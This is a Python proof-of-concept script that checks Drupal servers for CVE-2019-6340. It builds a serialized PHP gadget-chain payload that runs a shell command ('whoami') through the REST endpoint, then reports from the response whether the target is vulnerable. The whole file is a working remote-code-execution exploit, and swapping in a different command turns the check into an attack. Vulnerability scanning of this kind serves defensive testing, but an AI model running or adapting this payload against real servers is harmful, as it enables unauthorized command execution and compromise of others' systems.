#!/usr/bin/python
# coding:utf-8

import requests
import sys
import re
import argparse
from json_parse import Jsonparse


class Drupal(object):
    def __init__ (self,ip,port,level):
        self.ip = ip
        self.port = port
        self.level = level
    def run(self):
        if self.port == "443":
            url = "https://"+self.ip
        else:
            url = "http://"+self.ip+":"+self.port
        cmd = "whoami"
        dir = "/node/?_format=hal_json"
        url_dir = url + dir
        cmd_len = len(cmd)

        payload = "{\r\n  \"link\": [\r\n    {\r\n      \"value\": \"link\",\r\n      \"options\": \"O:24:\\\"GuzzleHttp\\\\Psr7\\\\FnStream\\\":2:{s:33:\\\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\\\";a:1:{s:5:\\\"close\\\";a:2:{i:0;O:23:\\\"GuzzleHttp\\\\HandlerStack\\\":3:{s:32:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\\\";s:%s:\\\"%s\\\";s:30:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\\\";a:1:{i:0;a:1:{i:0;s:6:\\\"system\\\";}}s:31:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\\\";b:0;}i:1;s:7:\\\"resolve\\\";}}s:9:\\\"_fn_close\\\";a:2:{i:0;r:4;i:1;s:7:\\\"resolve\\\";}}\"\r\n    }\r\n  ],\r\n  \"_links\": {\r\n    \"type\": {\r\n      \"href\": \"%s/rest/type/shortcut/default\"\r\n    }\r\n  }\r\n}" % (cmd_len,cmd,url)
        headers = {
            'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
            'Connection': "close",
            'Content-Type': "application/hal+json",
            'Accept': "*/*",
            'Cache-Control': "no-cache"   
            }
        try:
            response = requests.post(url_dir ,data=payload ,headers=headers,timeout = self.level,verify=False)
            if response.status_code==403 and "u0027access" in response.text :
                print ("[+] Find Drupal CVE-2019-6340 Vuln!\n")
                exit(233)
            else:
                print ("[-] Not Drupal CVE-2019-6340 Vuln! Good Luck~\n")
                exit(1)
        except Exception as e:
            print(e)
            print("[*] connect refused")
            exit(-1)


if __name__ == '__main__':
    print("[*] start checking")
    jsonfile = sys.argv[1] + '\\poc\\lib\\config.json'
    jsonobj = Jsonparse(jsonfile)
    jsondata = jsonobj.parse()
    targetip = sys.argv[2]
    timeout = jsondata['timeout1']
    port = sys.argv[3]
    Scanner = Drupal(targetip, port, timeout)
    Scanner.run()
